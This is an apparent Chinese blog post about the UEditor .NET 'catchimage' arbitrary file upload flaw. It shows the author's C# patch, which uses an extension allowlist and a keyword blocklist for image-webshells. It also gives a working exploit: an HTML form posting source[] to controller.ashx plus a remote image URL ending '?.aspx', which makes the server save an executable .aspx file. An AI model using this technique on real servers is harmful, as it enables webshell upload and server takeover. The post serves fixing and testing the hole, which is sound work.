ueditor任意文件上传漏洞+图片马制作

ueditor任意文件上传漏洞+图片马制作

 ueditor漏洞代码位置:

 

 

修复漏洞的代码内容:

public override void Process()
    {
        Sources = Request.Form.GetValues("source[]");

        //该位置有被外网恶意提交(将图片格式转换成aspx的)文件,20210908增加尾缀验证
        if (Sources != null)
        {
            foreach (var fileUrlAndWeiZhui in Sources)
            {
                string weiZhui = Path.GetExtension(fileUrlAndWeiZhui).ToLower();
                if (!(weiZhui.Equals(".png")
                    || weiZhui.Equals(".jpg")
                     || weiZhui.Equals(".jpeg")
                    || weiZhui.Equals(".gif")
                    || weiZhui.Equals(".bmp")
                    ))
                {
                    WriteJson(new
                    {
                        state = "参数无效,非法行为"
                    });
                    return;
                }
                //网络文件地址
                string file_url = fileUrlAndWeiZhui;
               //实例化唯一文件标识
                Uri file_uri = new Uri(file_url);
                //返回文件流
                Stream stream = WebRequest.Create(file_uri).GetResponse().GetResponseStream();
                //实例化文件内容
                StreamReader file_content = new StreamReader(stream);
                //读取文件内容
                string file_content_str = file_content.ReadToEnd();
                string file_content_str_tolower = file_content_str.ToLower();
               //20220824增加图片内容识别,防止图片马漏洞,有些恶意图片文件里写了脚本代码,如果有脚本代码,就不让上传。
                string key1 = "Page".ToLower();
                string key2 = "Language".ToLower();
                string key3 = "script".ToLower();
                string key4 = "Jscript".ToLower();
                string key5 = "javascript".ToLower();
                string key6 = "eval".ToLower();
                string key7 = "Request".ToLower();
                string key8 = "Item".ToLower();
                string key9 = "unsafe".ToLower();
                if (file_content_str_tolower.Contains(key1)
                    || file_content_str_tolower.Contains(key2)
                    || file_content_str_tolower.Contains(key3)
                    || file_content_str_tolower.Contains(key4)
                    || file_content_str_tolower.Contains(key5)
                    || file_content_str_tolower.Contains(key6)
                    || file_content_str_tolower.Contains(key7)
                    || file_content_str_tolower.Contains(key8)
                    || file_content_str_tolower.Contains(key9)
                    )
                {
                    WriteJson(new
                    {
                        state = "参数无效,非法行为"
                    });
                    return;
                }
            }
        }

        if (Sources == null || Sources.Length == 0)
        {
            WriteJson(new
            {
                state = "参数错误:没有指定抓取源"
            });
            return;
        }
        Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
        WriteJson(new
        {
            state = "SUCCESS",
            list = Crawlers.Select(x => new
            {
                state = x.State,
                source = x.SourceUrl,
                url = x.ServerUrl
            })
        });
    }

TuPianMaTest202208241440.jpg 这个jpg文件也是可以通过图片马工具上传到网站目录的,所以要加图片内容验证。

 

 

图片马制作

图片马工具制作代码截图:

图片马工具html页面代码:

<form action="http://192.168.13.10:8040/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <input type="submit" value="Submit" />

</form>

图片马工具使用步骤:

双击打开html文件

 

 

Shell addr 填写参数值(这里可以填任意公网上(或者本地能访问)的图片地址),以下就是填写框的填写内容:
http://img-arch.pconline.com.cn/images/upload/upc/tx/photoblog/1309/25/c49/26316176_26316176_1380092693834_mthumb.jpg?.aspx

前面的链接(蓝色)是公网的jpg文件,后面的?.aspx(红色)是将图片格式转换为aspx格式文件上传到被攻击的服务器,如果单纯上传jpg文件,后面红色的部分可以不加。
Submit提交之后,就可以看到有返回服务器的文件是否成功的信息。

 

成功之后,查看网站的相关文件夹就可以看到文件夹生成了aspx文件。

 

 

上面的代码漏洞已经修复了,如果要测试图片马情况,要把(黄色)相关代码注释掉。

(完)

 

posted on 2022-09-07 10:39  Jankie1122  阅读(2190)  评论(0编辑  收藏  举报